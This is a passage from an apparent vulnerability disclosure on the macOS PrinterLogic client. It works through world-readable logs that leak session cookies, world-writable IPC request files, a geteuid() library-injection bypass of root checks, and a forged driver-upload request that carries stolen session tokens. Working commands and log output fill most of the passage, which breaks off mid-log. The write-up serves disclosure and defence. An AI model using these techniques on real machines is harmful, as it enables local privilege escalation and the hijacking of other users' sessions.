2021-12-09 19:42:44,952 (INFO): Done with command: PROGRESS
2021-12-09 19:45:42,164 (INFO): Done with command: UPLOAD_DRIVER
user@laptop log % echo > interface.log
user@laptop log % ls -la interface.log
-rw-rw-rwT 1 root wheel 1 Dec 9 20:22 interface.log
user@laptop log % tail -n 2 interface.log
user@laptop log %
Any user can retrieve the logs, write custom files inside the logs directory or corrupt the logs.
Because the logs are readable by any user, it is possible to extract clear-text authentication sessions using any local account.
As executive
account. Sessions in clear-text in world-readable logs:
executive@laptop log % grep SESS /opt/PrinterInstallerClient/log/*
/opt/PrinterInstallerClient/log/service_info.log:Arguments: https:,[redacted].printercloud10.com,/,PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;,printer,p972,,-1
executive@laptop log % cat /opt/PrinterInstallerClient/log/service_info.log | grep Argu
Arguments: https:,[redacted].printercloud10.com,/,PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;,printer,p972,,-1
Arguments: ["05DC94A40DD482C8C2BF3CEBCB9D96AF1639050072", "8BC83598876FA522B58B928F082961861639049891", {}]
Arguments: ["4189DB18B395218DBF8F3CDA78C85B6B1639050252", "05DC94A40DD482C8C2BF3CEBCB9D96AF1639050072", {}]
Arguments: ["A3BF377328A91D1623C828D4628648BF1639050432", "4189DB18B395218DBF8F3CDA78C85B6B1639050252", {}]
Arguments: ["CB7C6C1E5C1CFD38E9C3447CA08033FD1639050612", "A3BF377328A91D1623C828D4628648BF1639050432", {}]
[...]
These sessions can be retrieved by anyone using the computer.
Any local user can retrieve the sessions and login into the SaaS version of Vasion Print / PrinterLogic.
It was observed that communications between daemons are not protected, resulting in some interesting side effects. These inter-process communications are based on files.
By default, the programs use directories inside /opt/PrinterInstallerClient/tmp
for inter-process communication. These directories are world-readable and world-writable:
Content of /opt/PrinterInstallerClient/tmp
:
executive@laptop tmp % pwd
/opt/PrinterInstallerClient/tmp
executive@laptop tmp % ls -la
total 0
drwxr-xr-x 9 root wheel 288 Dec 7 16:53 .
drwxr-xr-x 13 root wheel 416 Dec 9 20:20 ..
drwxrwxrwx 2 root wheel 64 Dec 7 16:53 commands
drwxr-xr-x 2 root wheel 64 Dec 7 16:53 crl
drwxr-xr-x 14 root wheel 448 Dec 9 18:41 data
drwxrwxrwt 2 root wheel 64 Dec 9 20:41 requests
drwxrwxrwt 3 root wheel 96 Dec 9 18:40 responses
drwxrwxrwt 2 root wheel 64 Dec 9 20:41 scratch
drwx------ 2 root wheel 64 Dec 9 19:29 state
executive@laptop tmp %
Any user can create a file inside /opt/PrinterInstallerClient/tmp/requests/
to create a new communication with process running as root.
For example, any user can start a browser on the local user session by creating a file inside /opt/PrinterInstallerClient/tmp
:
executive@laptop responses % (echo "OPEN_HOME_URL" ; echo -n "?www.google.com" | base64) > /opt/PrinterInstallerClient/tmp/requests/26TAjFzAlf-202112091901313
In the logs, we see a new task has been created:
2021-12-09 20:53:45,882 (DEBUG): Processing request at '/opt/PrinterInstallerClient/tmp/requests/26TAjFzAlf-202112091901313'
2021-12-09 20:53:45,883 (INFO): Received request: OPEN_HOME_URL
2021-12-09 20:53:45,883 (INFO): Creating task:
Command: 'OPEN_HOME_URL'
Arguments: ?www.google.com
User ID: 503
Group ID: 20
Use UI: True
Origin: 'INTERFACE'
2021-12-09 20:53:45,894 (INFO): Done with request: OPEN_HOME_URL
This will result in a new Safari popup for the user user
with the address: https:/[redacted].printercloud10.com/?www.google.com
Browser started in the session of user
:
Executive user ID is 503
but the process will be created as user
(user ID 501
) - meaning the security separation between users has been broken.
Any local user can create specific actions that will be executed on other local sessions.
The entire security model of inter-process communication is broken.
By default, it is impossible to run some scripts to change the behavior of PrinterLogic. These scripts are located inside /opt/PrinterInstallerClient/bin
.
Scripts inside /opt/PrinterInstallerClient/bin
:
user@laptop bin % pwd
/opt/PrinterInstallerClient/bin
user@laptop bin % ls -la
total 544
drwxr-xr-x 20 root wheel 640 Dec 9 19:29 .
drwxr-xr-x 13 root wheel 416 Dec 9 20:20 ..
-r--r--r-- 1 root wheel 204958 Dec 9 19:29 PrinterLogic-Debug-20211209192951.zip
-r-xr-x--- 1 root wheel 215 Mar 5 2021 ad_override_file.sh
-r-xr-x--- 1 root wheel 269 Mar 5 2021 bundle_debug.sh
-r-xr-x--- 1 root wheel 211 Mar 5 2021 configure_proxy.sh
-r-xr-x--- 1 root wheel 165 Mar 5 2021 disable_home_url_security.sh
-r-xr-x--- 1 root wheel 233 Mar 5 2021 disable_ipp_queue_interpretation.sh
-r-xr-x--- 1 root wheel 209 Mar 5 2021 disable_updates.sh
-r-xr-x--- 1 root wheel 243 Mar 5 2021 ignore_certificate_errors.sh
-r-xr-x--- 1 root wheel 3343 Mar 5 2021 install_fips_openssl.sh
-r-xr-x--- 1 root wheel 214 Mar 5 2021 kerberos_timeout.sh
-r-xr-x--- 1 root wheel 205 Mar 5 2021 lock_home_url.sh
-r-xr-x--- 1 root wheel 188 Mar 5 2021 refresh.sh
-r-xr-x--- 1 root wheel 725 Mar 5 2021 restart_service.sh
-r-xr-x--- 1 root wheel 197 Mar 5 2021 set_home_url.sh
-r-xr-x--- 1 root wheel 332 Mar 5 2021 toggle_debug_mode.sh
-r-xr-x--- 1 root wheel 1559 Mar 5 2021 uninstall.sh
-r-xr-x--- 1 root wheel 212 Mar 5 2021 use_authorization_code.sh
-r-xr-x--- 1 root wheel 210 Mar 5 2021 user_from_file.sh
user@laptop bin %
These scripts are not readable by normal user - only administrator users can read these scripts and it is impossible to execute these commands as normal user.
Content of /opt/PrinterInstallerClient/bin/refresh.sh
:
kali% cat refresh.sh #!/bin/bash echo "Scheduling refresh" set -e echo "Creating request" install_directory=`cat /etc/pl_dir` "$install_directory/service_interface/./PrinterInstallerClientService" refresh kali%
Executing manually the command found in the shell script will result in a failure:
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService refresh
Having root/administrator privileges is required to run this command
user@laptop bin %
The executions of all the commands found in shell scripts inside /opt/PrinterInstallerClient/bin
will be blocked:
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService configure_proxy manual 192.168.100.1:8080
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService ad_override_file test
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService bundle_debug
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService disable_home_url_security true
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService disable_ipp_queue_interpretation true
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService disable_updates true
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService ignore_certificate_errors true
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService kerberos_timeout 10
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService lock_home_url --unlock
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService refresh
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService set_home_url http 192.168.100.1
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService toggle_debug_mode
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService uninstall
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService use_authorization_code 123
Having root/administrator privileges is required to run this command
user@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService user_from_file /etc/passwd
Having root/administrator privileges is required to run this command
These commands are blocked.
Some additional commands appear to exist.
Commands using the PrinterInstallerClientService
binary:
executive@laptop bin % /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService ad_override_file disable_ipp_queue_interpretation true
usage: PrinterInstallerClientService [-h] {install,uninstall,preupgrade,bundle_debug,refresh,set_home_url,lock_home_url,disable_home_url_security,open_home_url,logout_idp_user,show_idp_authentication_app,open_print_job_management,show_secure_release_settings,use_authorization_code,disable_updates,user_from_file,ignore_certificate_errors,toggle_debug_mode,run_updater,disable_ipp_queue_interpretation,ad_override_file,samaccountname_override_file,configure_proxy,kerberos_timeout}
Using the Inter-process communication, it is possible to bypass these restrictions.
For example, toggle_debug_mode
is blocked using command line but will work with IPC, even with a non-administrator account.
Enabling the debug mode as user
user:
user@laptop bin % echo -n 'TOGGLE_DEBUG_MODE' > /opt/PrinterInstallerClient/tmp/requests/0gAds9DkaG9934-20211210191900
The logs confirm the debug mode has been enabled:
2021-12-09 21:25:24,164 (DEBUG): Processing request at '/opt/PrinterInstallerClient/tmp/requests/0gAds9DkaG9934-20211210191900'
2021-12-09 21:25:24,165 (INFO): Received request: TOGGLE_DEBUG_MODE
2021-12-09 21:25:24,165 (INFO): Creating task:
Command: 'TOGGLE_DEBUG_MODE'
Arguments:
User ID: 501
Group ID: 20
Use UI: False
Origin: 'INTERNAL'
2021-12-09 21:25:24,167 (INFO): Turning on debug mode
2021-12-09 21:25:24,167 (INFO): Done with request: TOGGLE_DEBUG_MODE
2021-12-09 21:25:27,555 (INFO): CPU Usage since debug mode enabled (Top 50)
2021-12-09 21:25:27,557 (INFO): 3 function calls (5 primitive calls) in 0.000 seconds
The logs will then be filed with a lot of detailed information with entire stack traces:
2021-12-09 21:25:27,559 (INFO): Open Files in PrinterInstallerClientService (157)
2021-12-09 21:25:27,561 (INFO): popenfile(path='/opt/PrinterInstallerClient/log/launchd_service.log', fd=1)
2021-12-09 21:25:27,562 (INFO): popenfile(path='/opt/PrinterInstallerClient/log/launchd_service_error.log', fd=2)
2021-12-09 21:25:27,563 (INFO): popenfile(path='/opt/PrinterInstallerClient/log/service.log', fd=3)
2021-12-09 21:25:27,565 (INFO): popenfile(path='/opt/PrinterInstallerClient/log/service_info.log', fd=4)
[...]
2021-12-09 21:25:27,648 (INFO): printer_installer/client/service/process/debug/cpu_monitor.py:28: size=387 B, count=7, average=55 B
2021-12-09 21:25:27,649 (INFO): /usr/local/python3.6/lib/python3.6/pstats.py:422: size=374 B, count=7, average=53 B
2021-12-09 21:25:27,651 (INFO): psutil/__init__.py:1280: size=371 B, count=7, average=53 B
2021-12-09 21:25:27,652 (INFO): /usr/local/python3.6/lib/python3.6/logging/__init__.py:809: size=348 B, count=7, average=50 B
2021-12-09 21:25:27,654 (INFO): /usr/local/python3.6/lib/python3.6/logging/__init__.py:802: size=348 B, count=7, average=50 B
2021-12-09 21:25:27,655 (INFO): /usr/local/python3.6/lib/python3.6/logging/__init__.py:822: size=347 B, count=7, average=50 B
2021-12-09 21:25:27,656 (INFO): yappi.py:195: size=346 B, count=5, average=69 B
[...]
2021-12-09 21:25:28,146 (INFO): <RequestProcessor(Thread-185, started daemon 123145360580608)>, id: 4427604880, ident: 123145360580608, stack:
File "/usr/local/python3.6/lib/python3.6/threading.py", line 884, in _bootstrap
File "/usr/local/python3.6/lib/python3.6/threading.py", line 916, in _bootstrap_inner
File "printer_installer/client/service/process/scheduler/request_processor.py", line 24, in run
File "printer_installer/client/service/process/scheduler/request_processor.py", line 28, in _run_raises
File "printer_installer/client/service/process/scheduler/request_processor.py", line 62, in _run
File "printer_installer/client/service/process/scheduler/execute_tasks.py", line 12, in execute_tasks
File "printer_installer/client/service/process/task/task.py", line 76, in call
File "printer_installer/client/service/process/task/upload_driver.py", line 32, in _call
File "printer_installer/client/service/connection/interface/upload_driver.py", line 17, in upload_driver
File "printer_installer/client/service/connection/interface/upload_driver.py", line 23, in _run
File "printer_installer/client/service/connection/interface/messenger.py", line 30, in read_message
The entire security model of inter-process communication is broken.
It is possible to perform administrative actions using LD_PRELOAD
on geteuid()
.
The program /opt/PrinterInstallerClient/service_interface/PrinterInstallerClientService
requires root privileges:
user@laptop /tmp % /opt/PrinterInstallerClient/service_interface/PrinterInstallerClientService bundle_debug
Having root/administrator privileges is required to run this command
Bypass using LD_PRELOAD
on geteuid()
(from command.pyc
):
user@laptop /tmp % cat /tmp/test2.c
unsigned int geteuid() { return (0); }
user@laptop /tmp % gcc -shared -fPIC -o test2.so test2.c
user@laptop /tmp % DYLD_INSERT_LIBRARIES=/tmp/test2.so DYLD_FORCE_FLAT_NAMESPACE=y /opt/PrinterInstallerClient/service_interface/PrinterInstallerClientService bundle_debug
And the bypass works, the bundle_debug
mode has been enabled:
2021-12-10 20:39:04,922 (DEBUG): Processing request at '/opt/PrinterInstallerClient/tmp/requests/0Zto9weDkF0zAfAD-20220119203904'
2021-12-10 20:39:04,923 (INFO): Received request: BUNDLE_DEBUG
2021-12-10 20:39:04,924 (INFO): Creating task:
Command: 'BUNDLE_DEBUG'
Arguments:
User ID: 501
Group ID: 20
Use UI: False
Origin: 'INTERNAL'
2021-12-10 20:39:05,923 (DEBUG): Processing request at '/opt/PrinterInstallerClient/tmp/requests/00Zto9weDkF0zAfAD-20220119203904'
2021-12-10 20:39:05,924 (INFO): Received request: TOGGLE_DEBUG_MODE
2021-12-10 20:39:05,925 (INFO): Creating task:
Command: 'TOGGLE_DEBUG_MODE'
Arguments:
User ID: 0
Group ID: 0
Use UI: False
Origin: 'INTERNAL'
2021-12-10 20:39:05,926 (INFO): Turning on debug mode
2021-12-10 20:39:05,926 (INFO): Done with request: TOGGLE_DEBUG_MODE
We can now perform some of the administrative actions:
user@laptop ~ % DYLD_INSERT_LIBRARIES=/tmp/test2.so DYLD_FORCE_FLAT_NAMESPACE=y /opt/PrinterInstallerClient/service_interface/PrinterInstallerClientService --help
usage: PrinterInstallerClientService [-h]
{install,uninstall,preupgrade,bundle_debug,refresh,set_home_url,lock_home_url,disable_home_url_security,open_home_url,logout_idp_user,show_idp_authentication_app,open_print_job_management,show_secure_release_settings,use_authorization_code,disable_updates,user_from_file,ignore_certificate_errors,toggle_debug_mode,run_updater,disable_ipp_queue_interpretation,ad_override_file,samaccountname_override_file,configure_proxy,kerberos_timeout}
...
positional arguments:
{install,uninstall,preupgrade,bundle_debug,refresh,set_home_url,lock_home_url,disable_home_url_security,open_home_url,logout_idp_user,show_idp_authentication_app,open_print_job_management,show_secure_release_settings,use_authorization_code,disable_updates,user_from_file,ignore_certificate_errors,toggle_debug_mode,run_updater,disable_ipp_queue_interpretation,ad_override_file,samaccountname_override_file,configure_proxy,kerberos_timeout}
optional arguments:
-h, --help show this help message and exit
user@laptop ~ %
Some actions requiring write access to /opt/PrinterInstallerClient/configuration.json
will fail:
user@laptop service_interface % DYLD_INSERT_LIBRARIES=/tmp/test2.so DYLD_FORCE_FLAT_NAMESPACE=y ./PrinterInstallerClientService set_home_url http www2.google.com
Error trying to run command:
Traceback (most recent call last):
File "printer_installer/client/service/process/command.py", line 46, in handle
File "printer_installer/client/service/process/command.py", line 170, in _handle
File "/usr/local/python3.6/lib/python3.6/contextlib.py", line 82, in __enter__
File "printer_installer/client/service/context.py", line 81, in configuration
File "printer_installer/client/service/context.py", line 1015, in __enter__
File "printer_installer/client/service/context.py", line 1027, in _load
PermissionError: [Errno 13] Permission denied: '/opt/PrinterInstallerClient/configuration.json'
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "cx_Freeze/initscripts/__startup__.py", line 14, in run
File "build-osx/init_script.py", line 38, in run
exec(code, m.__dict__)
File "printer_installer/client/service/main.py", line 166, in <module>
File "printer_installer/client/service/process/command.py", line 52, in handle
File "/usr/local/python3.6/lib/python3.6/traceback.py", line 169, in print_last
ValueError: no last exception
user@laptop service_interface %
The entire security model of inter-process communication is broken.
After reading some Python code found in the solution, the names of tasks used in APIs were identified.
The Python bytecode was converted back to Python using Uncompyle6.
Identification of tasks used in APIs:
kali% pwd
/home/user/laptop-mac/files-opt/PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/task
kali% grep request_name *.py | grep =
acquire_active_oauth_token.pyc.py: request_name = 'ACQUIRE_ACTIVE_OAUTH_TOKEN'
bundle_debug.pyc.py: request_name = 'BUNDLE_DEBUG'
default.pyc.py: request_name = 'DEFAULT'
edit_profile.pyc.py: request_name = 'EDIT_PROFILE'
get_context_menu_items.pyc.py: request_name = 'GET_CONTEXT_MENU_ITEMS'
get_security_info.pyc.py: request_name = 'GET_SECURITY_INFO'
get_security_info.pyc.py: use_ui = self.context.origin != constants.internal_request_name
get_security_info.pyc.py: logging.error((error.format(self.request_name)), exc_info=True)
idp_direct_login.pyc.py: request_name = 'IDP_DIRECT_LOGIN'
idp_direct_login.pyc.py: if self.context._origin == self.context.constants.interface_request_name:
install_printer.pyc.py: request_name = 'INSTALL_PRINTER'
logout_idp_user.pyc.py: request_name = 'LOGOUT_IDP_USER'
logout_idp_user.pyc.py: if self.context._origin == self.context.constants.interface_request_name:
open_home_url.pyc.py: request_name = 'OPEN_HOME_URL'
open_print_job_management.pyc.py: request_name = 'OPEN_PRINT_JOB_MANAGEMENT'
query_ip.pyc.py: request_name = 'QUERY_IP'
record_print_job.pyc.py: request_name = 'RECORD_PRINT_JOB'
refresh.pyc.py: request_name = 'REFRESH'
replace_driver.pyc.py: request_name = 'REPLACE_DRIVER'
send_gui_message.pyc.py: request_name = 'SEND_GUI_MESSAGE'
show_idp_authentication_app.pyc.py: request_name = 'SHOW_IDP_AUTHENTICATION_APP'
show_idp_authentication_app.pyc.py: if self.context._origin == self.context.constants.interface_request_name:
show_secure_release_prompt.pyc.py: request_name = 'SHOW_SECURE_RELEASE_PROMPT'
show_secure_release_settings.pyc.py: request_name = 'SHOW_SECURE_RELEASE_SETTINGS'
task_by_name.pyc.py:task_by_name = {AcquireActiveOauthToken.request_name: AcquireActiveOauthToken,
task.pyc.py: request_name = None
task.pyc.py: data = cls.request_name.encode('utf-8') + b'\n'
toggle_debug_mode.pyc.py: request_name = 'TOGGLE_DEBUG_MODE'
update_print_job_state.py: request_name = 'UPDATE_PRINT_JOB_STATE'
update_print_job_state.pyc.py: request_name = 'UPDATE_PRINT_JOB_STATE'
upload_driver.pyc.py: request_name = 'UPLOAD_DRIVER'
use_authorization_code.pyc.py: request_name = 'USE_AUTHORIZATION_CODE'
Other tasks were identified in PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/command.py
(extracted from PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/command.pyc
using uncompyle6):
326 if command == 'IS_CLIENT_READY': # [1] command IS_CLIENT_READY 327 response = _DummyResponse(True, _BROWSER_INTERFACE_VERSION) 328 else: 329 if command == 'SET_CONFIGURATION': # [2] command SET_CONFIGURATION 330 331 class _Task(task.Task): 332 request_name = 'SET_CONFIGURATION' # [3] command SET_CONFIGURATION 333 334 def _call(self): 335 pass 336 337 arguments = get_configuration_parameters() 338 response = (_Task.generate_internal_request)(context, *arguments, **{'request_id': request_id}) 339 else: 340 if command == 'QUERY_IP': # [4] command QUERY_IP 341 response = query_ip.QueryIp.generate_internal_request(context, request_id=request_id) 342 else: 343 if command == 'ACQUIRE_ACTIVE_OAUTH_TOKEN': # [5] command ACQUIRE_ACTIVE_OAUTH_TOKEN 344 arguments = get_configuration_parameters() 345 response = (acquire_active_oauth_token.AcquireActiveOauthToken.generate_internal_request)( 346 context, *arguments, **{'request_id': request_id}) 347 else: 348 if command == 'GET_SECURITY_INFO': [6] command GET_SECURITY_INFO 349 arguments = get_configuration_parameters() 350 response = (get_security_info.GetSecurityInfo.generate_internal_request)( 351 context, *arguments, **{'request_id': request_id}) 352 else: 353 if command == 'INSTALL_PRINTER': [7] command INSTALL_PRINTER 354 protocol, hostname, abs_url, session_id, set_id, account_id = get_configuration_parameters() 355 ptype = parameters['ptype'] 356 pid = parameters['pid'] 357 arguments = [protocol, hostname, abs_url, session_id, ptype, pid, set_id, account_id] 358 response = (install_printer.InstallPrinter.generate_internal_request)(context, *arguments, **{'request_id': request_id}) 359 else: 360 if command == 'UPLOAD_DRIVER': # [8] command UPLOAD_DRIVER 361 arguments = get_configuration_parameters() 362 response = (upload_driver.UploadDriver.generate_internal_request)(context, *arguments, **{'request_id': request_id}) 363 else: 364 if command == 'REPLACE_DRIVER': # [9] command REPLACE_DRIVER 365 protocol, hostname, abs_url, session_id, set_id, account_id = get_configuration_parameters() 366 driver_id = parameters['driverId'] 367 model_title = parameters['modelTitle'] 368 arguments = [protocol, hostname, abs_url, session_id, driver_id, model_title, set_id, account_id] 369 response = (replace_driver.ReplaceDriver.generate_internal_request)(context, *arguments, **{'request_id': request_id}) 370 else: 371 if command in ('CREATE_PROFILE', 'EDIT_PROFILE'): # [10] commands CREATE_PROFILE && EDIT_PROFILE 372 protocol, hostname, abs_url, session_id, set_id, account_id = get_configuration_parameters() 373 driver_id = parameters['driverId'] 374 profile_id = parameters.get('profileId', '-1') 375 upload_id = parameters.get('uploadId', '-1') 376 arguments = [protocol, hostname, abs_url, session_id, driver_id, profile_id, upload_id, set_id, account_id] 377 response = (edit_profile.EditProfile.generate_internal_request)(context, *arguments, **{'request_id': request_id}) 378 else: 379 if command == 'GET_CONTEXT_MENU_ITEMS': # [11] command GET_CONTEXT_MENU_ITEMS
The UPLOAD_DRIVER
task is very interesting as it is basically an implementation of uploading files to a remote server.
Content of ./PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/task/upload_driver.pyc.py
:
13 class UploadDriver(task.Task): 14 request_name = 'UPLOAD_DRIVER' 15 never_execute_for_all_users = True 16 never_use_ui = False 17 18 @property 19 def priority(self): 20 return 0.5 21 22 @property 23 def default_value(self): 24 return False 25 26 @property 27 def description(self): 28 return 'upload driver' 29 30 def __init__(self, context, driver_id=None): 31 super().__init__(context) 32 self._driver_id = driver_id 33 34 def _call(self): 35 logging.debug('Getting driver paths and annotation from GUI') 36 local_paths, annotation = interface_upload_driver.upload_driver(self.context) 37 logging.debug('Selected in the GUI: {}, {}'.format(local_paths, annotation)) 38 if (local_paths, annotation) == (None, None): 39 logging.debug('No driver to upload selected') 40 return ('Driver selection cancelled.', False) 41 else: 42 logging.debug('Uploading drivers to the database') 43 upload_id = server_upload_driver.upload_driver(local_paths, 44 annotation, 45 (self.context), 46 replace_driver_id=(self._driver_id)) 47 if self._driver_id is not None: 48 upload_id = self._driver_id 49 current_driver_data = driver.create_local_driver_data(local_paths) 50 manufacturer = current_driver_data.manufacturer 51 model = current_driver_data.model 52 data = '{}\t{}\t{}\t{}\t{}'.format(upload_id, manufacturer, model, annotation, self.context.os_id) 53 return (data, True) 54 # okay decompiling upload_driver.pyc
The code responsible for the upload process is located at ./PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/connection/server/upload_driver.py
:
22 def upload_driver(local_paths: list, annotation: str, context: Context, replace_driver_id: Optional[int]=None) -> str: 23 local_driver_data = driver.create_local_driver_data(local_paths) 24 model = local_driver_data.model 25 title = f"Uploading driver for {local_driver_data.manufacturer} printer: {model}" 26 with progress.progress_or_dummy(title, PROGRESS_STEP_NAMES, context) as (progress_callback): 27 with NamedTemporaryFile(mode='w+b') as (out_file): 28 driver_package_class = driver.get_driver_package_class() 29 with driver_package_class.get_upload_package_files(local_driver_data, 30 progress_callback=progress_callback, progress_step=0) as (upload_package_files): 31 progress_callback.update_step(0, 1.0) # [1] a tbz2 file will be created 32 _create_package(out_file, upload_package_files) 33 progress_callback.update_step(1, 1.0) 34 # [2] Upload of the files, class defined in ./PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/connection/server/common.py. 35 class UploaderCallback(common.UploaderCallback): 36 driver_id = None 37 38 def on_size_calculated(self, total_size, total_fragments): 39 progress_callback.update_step(2, 1.0) 40 41 def on_upload_id_obtained(self, upload_id): 42 progress_callback.update_step(3, 1.0) 43 44 def on_fragment_uploaded(self, fragment, total_fragments): 45 progress_callback.update_step(4, fragment / total_fragments) 46 47 def on_complete(self, upload_id): # [3] Metadatas sent using _finalize_upload 48 self.driver_id = _finalize_upload(local_driver_data, 49 upload_id, annotation, context, replace_driver_id=replace_driver_id) 50 progress_callback.update_step(5, 1.0) 51 52 uploader_callback = UploaderCallback() 53 uploader = common.Uploader((out_file.name), model, context, uploader_callback=uploader_callback) 54 uploader.upload() 55 return uploader_callback.driver_id [...] 85 def _finalize_upload(local_driver_data: driver.LocalDriverData, upload_id: int, annotation: str, context: Context, replace_driver_id: Optional[int]=None) -> str: 86 params = {'confirmupload':1, 87 'uploadid':upload_id, 88 'packagetype':context.os_driver_package_type, 89 'oslist':context.os_id, 90 'printprocess':'', 91 'driverdate':local_driver_data.date.strftime('%m/%d/%Y'), 92 'driverversion':local_driver_data.version, 93 'make':local_driver_data.manufacturer, 94 'modelname':local_driver_data.model, 95 'annotation':annotation, 96 'inffile':local_driver_data.local_paths[0]} 97 if replace_driver_id is not None: 98 params['existing_driver_id'] = replace_driver_id 99 try: 100 response = common.request_path('GET', 'client/gateway.php', context, params=params, timeout=600) 101 result = ElementTree.fromstring(response.text) 102 if result.attrib['code'] != '1': 103 description = result.find('./desc').text 104 raise common.ServerError(description, description) 105 return result.find('./desc').text 106 except exceptions.Timeout: 107 message = 'When trying to finalize the driver upload, the server connection timed out and was closed. However, the driver will probably be available after the database operation is completed.' 108 raise common.ServerError(message)
Trying to upload a new driver - the HTTPS request was blocked using Burp Suite Pro, so it was not sent to the remote server on [redacted].printercloud10.com (the SaaS version was out of scope during the security assessment of the macOS version).
By forging a custom request, it is possible to force the upload of a new driver using the API.
Creation of a new request inside /opt/PrinterInstallerClient/tmp/requests/
to upload a new driver:
user@laptop requests % cat /tmp/test.file
UPLOAD_DRIVER
aHR0cHM6
W3JlZGFjdGVkXS5wcmludGVyY2xvdWQxMC5jb20=
Lw==
UEhQU0VTU0lEPWM3Mjk2OGQ2ZTY4ZDc4MWE4MDA1Mjg3NTgwMjliMjMyO1BIUFNFU1NJRD1jNzI5NjhkNmU2OGQ3ODFhODAwNTI4NzU4MDI5YjIzMjtYU1JGLVRPS0VOPWV5SnBkaUk2SWx0eVpXUmhZM1JsWkYwaUxDSjJZV3gxWlNJNklsdHlaV1JoWTNSbFpGMGlMQ0p0WVdNaU9pSmJjbVZrWVdOMFpXUmRJbjA9O2xhcmF2ZWxfc2Vzc2lvbj1leUpwZGlJNklsdHlaV1JoWTNSbFpGMGlMQ0oyWVd4MVpTSTZJbHR5WldSaFkzUmxaRjBpTENKdFlXTWlPaUpiY21Wa1lXTjBaV1JkSW4wPTtQSFBTRVNTSUQ9YzcyOTY4ZDZlNjhkNzgxYTgwMDUyODc1ODAyOWIyMzI7WFNSRi1UT0tFTj1leUpwZGlJNklsdHlaV1JoWTNSbFpGMGlMQ0oyWVd4MVpTSTZJbHR5WldSaFkzUmxaRjBpTENKdFlXTWlPaUpiY21Wa1lXTjBaV1JkSW4wPTtsYXJhdmVsX3Nlc3Npb249ZXlKcGRpSTZJbHR5WldSaFkzUmxaRjBpTENKMllXeDFaU0k2SWx0eVpXUmhZM1JsWkYwaUxDSnRZV01pT2lKYmNtVmtZV04wWldSZEluMD07UEhQU0VTU0lEPWM3Mjk2OGQ2ZTY4ZDc4MWE4MDA1Mjg3NTgwMjliMjMyO1hTUkYtVE9LRU49ZXlKcGRpSTZJbHR5WldSaFkzUmxaRjBpTENKMllXeDFaU0k2SWx0eVpXUmhZM1JsWkYwaUxDSnRZV01pT2lKYmNtVmtZV04wWldSZEluMD07bGFyYXZlbF9zZXNzaW9uPWV5SnBkaUk2SWx0eVpXUmhZM1JsWkYwaUxDSjJZV3gxWlNJNklsdHlaV1JoWTNSbFpGMGlMQ0p0WVdNaU9pSmJjbVZrWVdOMFpXUmRJbjA9Owo=
cHJpbnRlcg==
cDk3Mg==
LTE=
user@laptop requests % cp /tmp/test.file /opt/PrinterInstallerClient/tmp/requests/26TJdkfj0923lkaFlkSDSDn-202112091901313
user@laptop requests %
After this file is created inside /opt/PrinterInstallerClient/tmp/requests/
, a new task will be created:
2021-12-10 18:37:55,492 (INFO): Creating task:
Command: 'UPLOAD_DRIVER'
